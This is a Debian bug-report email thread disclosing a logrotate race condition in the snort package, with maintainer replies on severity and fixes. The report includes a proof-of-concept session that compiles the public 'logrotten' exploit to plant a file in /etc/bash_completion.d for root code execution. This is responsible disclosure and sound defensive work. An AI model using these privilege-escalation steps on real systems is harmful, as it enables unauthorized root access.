Hello,
Thank you very much for your answer. I thought it would be a security issue if a user that is not supposed to be root can gain root-access even if it is a system-user without a password. There might be a reason why the snort-process is not owned by root. Snort is a high value target and is a "risky software" written in c that parses arbitrary traffic from the network. If an attacker could gain somehow code execution through snort it would be very easy to elevate privileges. I also want to mention that I did not only proposed a fix by owning /var/log/snort by root but also proposed that the problem can be fixed by using the su-directive to rotate the files as user snort in the logrotate-config. It might be an option if you don't want to adjust the paths for the logfiles. Best regards Wolfgang Hotwagner ________________________________ From: Javier Fernandez-Sanguino <j...@computer.org> Sent: Wednesday, April 27, 2022 6:15:33 PM To: sec-advisory; 1009...@bugs.debian.org Cc: Debian Bug Control System Subject: Re: Bug#1009820: snort: Privilege escalation due to insecure use of logrotate severity 1009820 normal tags 1009820 - upstream thanks Dear Wolfgang, The 'snort' user is not a regular user (but a user created by the package itself, which is blocked from access as it has no password set). Consequently the privilege escalation you describe cannot be leveraged by a normal user. The only user in a standard installation of this package that can become 'snort' is actually the root user itself or if there is a remote code execution in the Snort software which compromises the Snort process itself. The fix proposed (make the files managed by root) is not invalid: - if /var/log/snort is owned by root then the Snort process (running as Snort user) will not be able to create the log files - the Snort process is running as 'snort' user and should not be modified to be run as 'root' The reason for this setup is precisely to improve the security of the software as distributed in Debian and applying a principle of minimum privilege, it is not an option to have this software running as root as a vulnerability found in the software (which is reading packages from the network, input which is by definition, untrusted) could potentially lead to a compromise of the system it is running in Consequently I'm adjusting the bug: - To normal (to be reviewed) as this is not, in my view, a critical bug - To Debian-specific, as the configuration of logrotate and the setup (Snort is running as 'snort' user) is specific to the package and not defined by upstream The most likely fix for this bug in any case is to adjust the definitions in the logrotate file, which uses "/var/log/snort/*/alert" and "/var/log/snort/*/*log". These definitions are too broad and could be simplified. Best regards, Javier Fernandez-Sanguino On Mon, 18 Apr 2022 at 19:27, Wolfgang Hotwagner <sec-advis...@ait.ac.at<mailto:sec-advis...@ait.ac.at>> wrote: Package: snort Version: 2.9.15.1-5 Severity: critical Tags: security upstream Justification: root security hole X-Debbugs-Cc: sec-advis...@ait.ac.at<mailto:sec-advis...@ait.ac.at> Dear Maintainer, The path of the logdirectory of snort can be manipulated by user Snort in Debian Bullseye: # ls -ld /var/log/snort/ drwxr-s--- 3 snort adm 4096 Apr 14 08:44 /var/log/snort/ The files in /var/log/snort/*/*log are once a day rotated by logrotate as user root with the following config: /var/log/snort/snort.alert /var/log/snort/snort.alert.fast /var/log/snort/*log /var/log/snort/*/alert /var/log/snort/*/*log { daily rotate 7 compress missingok notifempty create 0640 snort adm sharedscripts postrotate if [ -x /usr/sbin/invoke-rc.d ]; then \ invoke-rc.d snort restart > /dev/null; \ else \ /etc/init.d/snort restart > /dev/null; \ fi; endscript } Due to logrotate is prone to a race-condition(see the link to my blog below) it is possible for user "snort" to replace or create any directory in /var/log/snort/ with a symbolik link to any directory(for example /etc/bash_completion.d). logrotate will place files AS ROOT into /etc/bash_completition.d and set the owner and group to "snort.adm". An attacker could simply place a reverse-shell into this file. As soon as root logs in, a reverse shell will be executed then. You can find an exploit for this bug at my blog: https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges and https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition Proof of Concept: ################# snort@b8ff2e70f94d:~$ cd /tm snort@b8ff2e70f94d:/tmp$ git clone https://github.com/whotwagner/logrotten.git Cloning into 'logrotten'... remote: Enumerating objects: 97, done. remote: Counting objects: 100% (10/10), done. remote: Compressing objects: 100% (8/8), done. remote: Total 97 (delta 4), reused 7 (delta 2), pack-reused 87 Receiving objects: 100% (97/97), 419.77 KiB | 691.00 KiB/s, done. Resolving deltas: 100% (41/41), done. snort@b8ff2e70f94d:/tmp$ cd logrotten/ snort@b8ff2e70f94d:/tmp/logrotten$ gcc -o logrotten logrotten.c snort@b8ff2e70f94d:/tmp/logrotten$ echo "hello world" > payload snort@b8ff2e70f94d:/tmp/logrotten$ mkdir /var/log/snort/pwn snort@b8ff2e70f94d:/tmp/logrotten$ vim /var/log/snort/pwn/pwnme.lo snort@b8ff2e70f94d:/tmp/logrotten$ ./logrotten -p payload -c /var/log/snort/pwn/pwnme.log Waiting for rotating /var/log/snort/pwn/pwnme.log... Renamed /var/log/snort/pwn with /var/log/snort/pwn2 and created symlink to /etc/bash_completion.d Waiting 1 seconds before writing payload... Done! snort@b8ff2e70f94d:/tmp/logrotten$ ls -l /etc/bash_completion.d/ total 8 -rw-r--r-- 1 root root 439 Mar 10 2021 git-prompt -r-xr-xr-x 1 snort adm 19 Apr 14 08:43 pwnme.log Mitigation: ########### You could mitigate the problem by changing the owner and group of /var/log/snort to root, or by using the "su option" in /etc/logrotate.d/snort. Note: I also checked out the sources of the current snort(snort-2.9.19). The source archive contains a file "snort-2.9.19/rpm/snort.logrotate" with a very similar content. I have tested this vulnerability on Debian Bullseye with the following snort version: ||/ Name Version Architecture Description +++-==============-============-============-=========================================== ii snort 2.9.15.1-5 amd64 flexible Network Intrusion Detection System I also checked out Debian Buster and it has a different logrotate-config for snort which doesn't seem to be affected. -- System Information: Debian Release: 11.3 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 5.10.0-13-amd64 (SMP w/1 CPU thread) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE=en_US:en Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled Versions of packages snort depends on: ii adduser 3.118 ii debconf [debconf-2.0] 1.5.77 ii init-system-helpers 1.60 ii libc6 2.31-13+deb11u3 ii libdaq2 2.0.7-5 ii libdumbnet1 1.12-9 ii liblzma5 5.2.5-2 ii libnetfilter-queue1 1.0.5-2 ii libnghttp2-14 1.43.0-1 ii libpcap0.8 1.10.0-2 ii libpcre3 2:8.39-13 ii libssl1.1 1.1.1n-0+deb11u1 ii logrotate 3.18.0-2 ii lsb-base 11.1.0 ii net-tools 1.60+git20181103.0eebece-1 ii rsyslog [system-log-daemon] 8.2102.0-2 ii snort-common 2.9.15.1-5 ii snort-common-libraries 2.9.15.1-5 ii snort-rules-default 2.9.15.1-5 ii zlib1g 1:1.2.11.dfsg-2+deb11u1 Versions of packages snort recommends: ii iproute2 5.10.0-4 Versions of packages snort suggests: pn snort-doc <none> -- debconf information: * snort/interface: enp0s3 snort/options: snort/invalid_interface: snort/please_restart_manually: snort/send_stats: true snort/disable_promiscuous: false * snort/address_range: 192.168.0.0/16<http://192.168.0.0/16> snort/stats_rcpt: root snort/startup: boot snort/stats_treshold: 1 snort/config_parameters:
